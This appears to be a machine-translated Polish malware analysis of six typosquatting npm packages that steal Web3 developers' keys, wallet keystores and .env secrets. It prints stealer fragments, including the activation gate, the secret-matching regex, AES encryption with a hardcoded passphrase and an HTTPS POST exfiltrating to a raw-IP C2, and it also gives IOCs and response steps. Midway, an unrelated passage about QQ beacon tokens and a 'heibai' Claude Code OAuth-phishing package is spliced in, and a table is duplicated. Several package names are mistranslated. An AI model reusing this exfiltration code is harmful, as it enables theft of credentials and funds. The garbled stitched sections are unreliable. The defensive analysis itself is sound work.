TL; DR
6 maja 2026 r. pojedynczy wydawca npm, namikazesarada010206, udostępnił sześć złośliwych pakietów wymierzonych w ekosystem programistów Ethereum, Solidity i DeFi.
Pakiety, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core, użyto wiarygodnych nazw, mających przypominać biblioteki pomocnicze popularnych narzędzi Web3.
Wszystkie sześć paczek zawierało to samo telemetry.js Plik był identyczny bajtowo w całym klastrze, z algorytmem SHA-256:
Szkodliwe oprogramowanie nie uruchamia się w momencie instalacji. Nie ma preinstall or postinstall hak. Zamiast tego aktywuje się, gdy pakiet jest importowany przez require().
Ten szczegół ma znaczenie.
Implant czeka, aż programista faktycznie użyje pakietu. Następnie sprawdza, czy stacja robocza wygląda jak prawdziwe środowisko programistyczne Ethereum/Solidity. Szuka kluczy Alchemy lub Infura, kluczy prywatnych, mnemoników, kluczy wdrożeniowych lub lokalnego katalogu Foundry.
Jeśli host jest zgodny, złodziej zbiera prywatne klucze SSH, magazyny kluczy portfeli Foundry/Geth/Brownie, .env* Pliki i wrażliwe zmienne środowiskowe. Szyfruje pakiet algorytmem AES-256-GCM przy użyciu zakodowanego na stałe hasła i przesyła go do surowego punktu końcowego IPv4 C2 z wyłączoną weryfikacją TLS.
System wczesnego ostrzegania przed złośliwym oprogramowaniem (MEW) firmy Xygeni potwierdził, że wszystkie sześć pakietów jest złośliwych. Pakiet raportów o usunięciu plików z rejestru npm jest w trakcie rozpatrywania.
Klaster: sześć pakietów, jeden wydawca
Konto wydawcy namikazesarada010206 został powiązany z niezweryfikowanym adresem Gmail namikazesarada010206@gmail.com.
Kampania pojawiła się jako jednodniowa publikacja 6 maja 2026 r. Wszystkie sześć pakietów zostało wersjonowanych jako 1.0.0, nie miał żadnych zależności od środowiska wykonawczego i dostarczał tylko trzy pliki:
package.json index.js telemetry.js Zadeklarowali również to samo repozytorium źródłowe:
https://github.com/harunosakura030303-maker/evmchain-config Pierwsze trzy pakiety zostały wykryte przez skanery MEW przy pierwszej publikacji. Pozostałe trzy zostały oznaczone wymuszoną flagą po analizie profilu npm wydawcy przez analityka. Po tym samym, identycznym bajtowo pakiecie telemetry.js zostało potwierdzone w całym klastrze, zostały zamknięte jako złośliwe ze względu na spójność.
| Pakiet | Wersja | npm Opublikowano | Bilet MEW | Werdykt |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Złośliwy |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Złośliwy |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Złośliwy |
| narzędzia evm | 1.0.0 | 2026-05-06 | #51069 | Złośliwy, przez konsekwencję |
| narzędzia odlewnicze | 1.0.0 | 2026-05-06 | #51071 | Złośliwy, przez konsekwencję |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Złośliwy, przez konsekwencję |
Strategia nazewnictwa jest prosta, ale skuteczna.
Te pakiety nie podszywają się pod dokładne nazwy źródłowe. Zamiast tego używają wiarygodnych sufiksów „narzędziowych”, takich jak -core, -utils, -utils-core. Sprawia to, że wyglądają jak biblioteki towarzyszące, których deweloperzy mogliby się spodziewać w pobliżu narzędzi Web3.
| Złośliwy pakiet | Uzasadniony cel |
|---|---|
| viem-core | viem, popularny klient Ethereum TypeScript |
| viem-utils-core | viem |
| hardhat-core-utils | hardhat, główne środowisko programistyczne Solidity |
| narzędzia evm | Ogólna przestrzeń nazw narzędzi EVM |
| narzędzia odlewnicze | odlewnia, łańcuch narzędzi Solidity |
| web3-utils-core | web3-utils, pomocnicy Web3.js |
To jest wzór „dodatkowego pakietu”: nie „Jestem prawdziwym pakietem”, ale „Wyglądam na rozsądnego pomocnika przy prawdziwym pakiecie”.
Dla deweloperów DeFi, którzy działają szybko, jest to wystarczający powód, by narazić się na ryzyko.
Co się dzieje, gdy pakiet jest importowany
Łańcuch ataków jest niewielki, przemyślany i skoncentrowany na środowiskach zajmujących się tworzeniem kryptowalut.
Brak haka instalacyjnego. Zamiast tego każdy pakiet zawiera index.js który eksportuje funkcjonalność szczątkową, a następnie ładuje złośliwy moduł telemetryczny.
require('./telemetry').init(); Oznacza to, że złośliwe oprogramowanie aktywuje się przy pierwszym imporcie.
Jest to użyteczne z punktu widzenia operacyjnego dla atakującego. Wiele skanerów i środowisk testowych koncentruje się na zachowaniu podczas instalacji. Ten pakiet czeka, aż zostanie faktycznie użyty przez programistę, skrypt kompilacji, zestaw testów lub ścieżkę uruchomieniową.
Brama aktywacji: uruchamiaj tylko na prawdziwych stacjach roboczych programistów Web3
Najważniejszą częścią implantu jest bramka aktywacyjna.
Szkodliwe oprogramowanie sprawdza zmienne środowiskowe powszechnie występujące na komputerach programistów Ethereum/Solidy:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Sprawdza również, czy Foundry jest zainstalowane:
fs.existsSync(path.join(os.homedir(), '.foundry')) Jeżeli żaden z warunków nie jest spełniony, funkcja kończy działanie i nic nie robi.
Dzięki temu pakiet jest cichszy w środowiskach analizy generycznej. W środowisku sandbox bez kluczy Foundry, Alchemy, Infura, prywatnych ani mnemoników może wystąpić problem z importem, który może wyglądać na nieszkodliwy.
Na pasującym hoście złośliwe oprogramowanie czeka od 60 do 90 sekund przed zebraniem danych:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Opóźnienie zmniejsza oczywistą korelację między importem a eksfiltracją. .unref() call pozwala również procesowi hosta na normalne zakończenie działania, jeśli pakiet został zaimportowany w skrypcie o krótkim czasie trwania.
To nie jest hałaśliwe zachowanie typu „rozbij i zabierz”. To celowy złodziej zaprojektowany tak, aby nie uruchamiał się, chyba że środowisko programistyczne jest warte kradzieży.
Co zbiera złodziej
Po przejściu bramki aktywacyjnej złośliwe oprogramowanie zbiera dane ze źródeł, które mają największe znaczenie dla rozwoju Web3: klucze prywatne, magazyny kluczy portfeli, dane uwierzytelniające wdrożenia, tajne dane w chmurze, tokeny npm i lokalną konfigurację projektu.
| Źródło | Co jest zbierane |
|---|---|
| proces.env | Dowolna zmienna pasująca do /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Pliki zawierające PRIVATE KEY lub BEGIN OPENSSH, w tym pełna zawartość pliku |
| ~/.foundry/keystores/* | Pliki magazynu kluczy portfela Foundry |
| ~/.ethereum/keystore/* | Pliki magazynu kluczy portfela Geth |
| ~/.brownie/accounts/* | Pliki magazynu kluczy portfela Brownie |
| ${cwd}/.env | Pełna zawartość pliku |
| ${cwd}/.env.local | Pełna zawartość pliku |
| ${cwd}/.env.production | Pełna zawartość pliku |
| ${cwd}/.env.development | Pełna zawartość pliku |
| os.hostname() | Metadane hosta |
| krypto.losowyUUID() | Identyfikator ofiary/sesji |
| Data.teraz() | Znak czasu kolekcji |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com Tokeny ATTA to:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Nie udało nam się potwierdzić, czy dane telemetryczne pochodziły z własnej analityki operatora, czy z oddzielnie monetyzowanego kanału. Tokeny ATTA są takie same w obu badanych przez nas próbkach.
Klaster B: heibai
claude.hk OAuth Phishing + przejęcie ANTHROPIC_BASE_URL
Próba z 1 kwietnia jest wcześniejszą, bardziej prymitywną częścią kampanii.
heibai:2.1.88-claude.hk-4 został opublikowany przez wuguoqiangvip28, konto utworzone 7 czerwca 2025 r. Pakiet jawnie wersjonował się w stosunku do legalnej wersji 2.1.88 Uwolnienie antropiczne.
Nie zawraca sobie głowy MITM w przypadku certyfikatu CA. Zamiast tego okłamuje użytkownika co do punktu końcowego OAuth.
Złośliwe dodatki do wyciekłego kodu źródłowego Claude Code obejmują:
| Źródło | Co jest zbierane |
|---|---|
| proces.env | Dowolna zmienna pasująca do /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Pliki zawierające PRIVATE KEY lub BEGIN OPENSSH, w tym pełna zawartość pliku |
| ~/.foundry/keystores/* | Pliki magazynu kluczy portfela Foundry |
| ~/.ethereum/keystore/* | Pliki magazynu kluczy portfela Geth |
| ~/.brownie/accounts/* | Pliki magazynu kluczy portfela Brownie |
| ${cwd}/.env | Pełna zawartość pliku |
| ${cwd}/.env.local | Pełna zawartość pliku |
| ${cwd}/.env.production | Pełna zawartość pliku |
| ${cwd}/.env.development | Pełna zawartość pliku |
| os.hostname() | Metadane hosta |
| krypto.losowyUUID() | Identyfikator ofiary/sesji |
| Data.teraz() | Znak czasu kolekcji |
Lista celów jest bardzo konkretna. Nie chodzi tu o kradzież przeglądarek ani o szeroko zakrojone pozyskiwanie danych uwierzytelniających. Jest ona skierowana do deweloperów, którzy tworzą, testują, wdrażają lub obsługują aplikacje Ethereum.
Szczególnie ważne jest uwzględnienie magazynów kluczy Foundry, Geth i Brownie. Pliki te mogą reprezentować bezpośredni dostęp do portfeli lub tożsamości wdrożeniowych. Jeśli atakujący połączy je z hasłami, mnemotechnikami lub tajnymi kluczami środowiskowymi, może być w stanie przesyłać środki, podszywać się pod osoby wdrażające lub naruszać bezpieczeństwo inteligentnych kontraktów.
Szyfrowanie przed eksfiltracją
Szkodliwe oprogramowanie szyfruje zebrane dane przed ich wysłaniem.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Zakodowane na stałe hasło brzmi:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Ostateczny ładunek jest opakowany w formacie JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Samo szyfrowanie nie zwiększa zaawansowania złośliwego oprogramowania. Utrudnia jednak inspekcję sieci. Obrońca monitorujący ruch wychodzący zobaczyłby ładunek JSON, ale nie skradzione klucze, pliki portfela ani… .env zawartość bez zakodowanego na stałe hasła i logiki deszyfrowania.
Eksfiltracja do surowego IPv4 C2
Ścieżka eksfiltracji jest zakodowana na stałe:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Szkodliwe oprogramowanie wysyła dane do:
https://76.13.37.80:8443/api/v1/telemetry Na szczególną uwagę zasługują dwa szczegóły.
Po pierwsze, C2 to surowy adres IPv4, a nie domena. Eliminuje to potrzebę rejestracji domeny i pozwala uniknąć niektórych wykryć opartych na domenach.
Po drugie, weryfikacja TLS jest wyłączona w przypadku:
rejectUnauthorized: false Pozwala to złośliwemu oprogramowaniu akceptować dowolny certyfikat, w tym certyfikaty podpisane przez siebie. Innymi słowy, atakujący otrzymuje zaszyfrowany transfer bez konieczności posiadania ważnego certyfikatu publicznego.
Brak logiki ponawiania prób i hosta zapasowego. Błędy są po cichu pomijane. Dzięki temu pakiet pozostaje nieaktywny, jeśli C2 jest offline lub niedostępny.
Dlaczego ta kampania jest ważna
Większość złośliwych pakietów npm skierowanych do programistów wykorzystuje szerokie uprawnienia: tokeny npm, klucze AWS, tokeny GitHub lub .npmrc akta.
Ta kampania zawęża grupę docelową.
Szuka oznak, że maszyna należy do programisty Ethereum lub Solidity. Następnie pobiera dokładnie te zasoby, które są istotne w danym środowisku: magazyny kluczy portfela, klucze prywatne, mnemoniki, klucze wdrożeniowe, .env pliki i klucze SSH.
To sprawia, że kampania jest groźniejsza dla zespołów Web3 niż zwykły złodziej npm.
Skuteczna infekcja może ujawnić:
- Portfele wdrożeniowe
- Klucze administratora inteligentnych kontraktów
- Klucze dostawcy RPC
- Dane uwierzytelniające wdrożenia w chmurze
- npm publikowanie tokenów
- Dostęp SSH do infrastruktury deweloperskiej lub budowlanej
- Tajemnice projektu przechowywane w
.envpliki - Magazyny kluczy do portfeli dla Foundry, Geth lub Brownie
Nazwy pakietów również wskazują na wyraźną inżynierię społeczną. Celują one w ekosystem programistów Web3, wykorzystując znane nazwy narzędzi: viem, hardhat, foundry, evm, web3.
Aktor nie musi iść na kompromis w kwestii rzeczywistych projektów. Wystarczy, że deweloper zainstaluje coś, co wygląda na rozsądny pakiet towarzyszący.
Wskaźniki naruszenia i wykrycia
| Pakiety i wydawca | |
|---|---|
| Pole | Wartość: |
| wydawca npm | namikazesarada010206 |
| Adres e-mail wydawcy | namikazesarada010206@gmail.com |
| Zweryfikowano adres e-mail | Nie |
| SCM zweryfikowana | Nie |
| Wynik reputacji | 1.0 |
| Pakiety | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, Foundry-utils, web3-utils-core |
| wersje | Wszystko 1.0.0 |
| Repozytorium źródłowe | https://github.com/harunosakura030303-maker/evmchain-config |
| Potwierdzono złośliwość | Wszystkie sześć pakietów |
| Sieć | |
|---|---|
| Typ | Wartość: |
| Punkt końcowy C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Port C2 | 8443/tcp |
| Zachowanie TLS | odrzućNieautoryzowane: fałsz |
| Schemat ładunku | {"v":2,"iv": ,"D": ,"T": } |
| Pliki i skróty | |
|---|---|
| Typ | Wartość: |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Układ pakietu | pakiet.json, index.js, telemetry.js |
| Liczba plików | 3 |
| Przybliżony całkowity rozmiar | 3.4 KB |
Sygnały aktywacyjne
Szkodliwe oprogramowanie sprawdza następujące zmienne środowiskowe:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Sprawdza również:
~/.foundry/ Docelowe ścieżki hosta
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Kolekcja wyrażeń regularnych
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Notatki dotyczące wykrywania
Kilka zasad wychwytuje tę kampanię bez konieczności przeprowadzania pełnej analizy behawioralnej.
Najpierw przeskanuj pliki blokady w poszukiwaniu sześciu nazw złośliwych pakietów:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Dowolny mecz w package-lock.json, yarn.lock, pnpm-lock.yamllub node_modules historię należy traktować jako poważny incydent.
Po drugie, monitoruj procesy Node.js odczytujące ścieżki magazynu kluczy portfela:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Rzadko jest to prawidłowe zachowanie w przypadku pakietu importowanego jako zależność pomocnicza. Jest to szczególnie podejrzane, gdy następuje po nim aktywność sieciowa wychodząca.
Po trzecie, blokuj lub wysyłaj alerty dotyczące połączeń HTTPS do:
76.13.37.80:8443 Szczególnie, gdy ścieżka żądania wygląda następująco:
/api/v1/telemetry Po czwarte, szukaj pakietów npm, które łączą w sobie następujące cechy:
- Świeży lub o niskiej reputacji wydawca
- Niezweryfikowane konto Gmail
- Nazwa pakietu sąsiadującego z Web3
- Brak znaczącej historii repozytorium
- Mały układ pakietu
index.jsktóry ładuje plik telemetryczny lub pomocniczy- Brak zależności od środowiska wykonawczego
- Zbiór wrażliwych zmiennych środowiskowych
- Dostęp do magazynu kluczy portfela
Ten wzorzec jest bardziej przydatny niż pojedynczy IOC, ponieważ kolejny pakiet może zmienić adres IP, zachowując jednak tę samą logikę kierowania.
Lista kontrolna reakcji na kompromisy
Jeżeli programista użył jednego z sześciu pakietów i jego środowisko spełniło wymagania bramki aktywacyjnej, należy traktować stację roboczą jako zagrożoną.
Dotyczy to maszyn z zainstalowanym Foundry, kluczami Alchemy lub Infura w środowisku, kluczami prywatnymi, mnemonikami lub kluczami wdrażającymi.
Zalecana odpowiedź:
- Odłącz hosta od sieci.
- Zachować
node_modules, pliki blokad, historię powłoki i istotne logi na potrzeby analizy kryminalistycznej. - Obróć każdą parę kluczy SSH
~/.ssh/. - Rotacja kluczy portfela dla każdego magazynu kluczy
~/.foundry,~/.ethereum,~/.brownie. - Przenieś środki do nowych portfeli.
- Obróć każdy sekret przechowywany w
.env*pliki w repozytoriach, w których pracował programista. - Rotacja sekretów środowiska zgodnych z wyrażeniem regularnym kolekcji, w tym kluczy AWS, tokenów npm, tokenów wdrażania, kluczy API, kluczy prywatnych, seedów i mnemoników.
- Przeprowadź audyt aktywności w chmurze, npm, GitHub, dostawcy RPC i blockchain od momentu pierwszej instalacji pakietu.
- Przed ponownym użyciem należy ponownie utworzyć obraz stacji roboczej.
Co obrońcy powinni wynieść
Ta kampania pokazuje, w jaki sposób npm typosquatting ewoluuje wokół ekosystemów programistów o dużej wartości.
Aktor nie potrzebował wytrwałości. Nie potrzebował zaciemniania. Nie potrzebował nawet wykonania w czasie instalacji.
Zamiast tego opierali się na trzech rzeczach:
- Prawdopodobne nazwy pakietów Web3
- Aktywacja tylko na prawdziwych maszynach do tworzenia kryptowalut
- Bezpośrednia kradzież plików i sekretów, które są najważniejsze dla programistów Ethereum
To sprawia, że kampanię łatwo przeoczyć podczas szerszego skanowania, a gdy trafi w odpowiednie środowisko, staje się ona niebezpieczna.
Dla zespołów Web3 lekcja jest jasna: traktuj nazwy zależności jako element modelu zagrożeń. Pakiet, który wygląda jak niegroźny program pomocniczy, może nadal stać się najkrótszą drogą do naruszenia bezpieczeństwa portfela.
Zgłoszono do rejestru npm. Zaktualizujemy ten wpis, gdy konto wydawcy i pakiety zostaną usunięte.




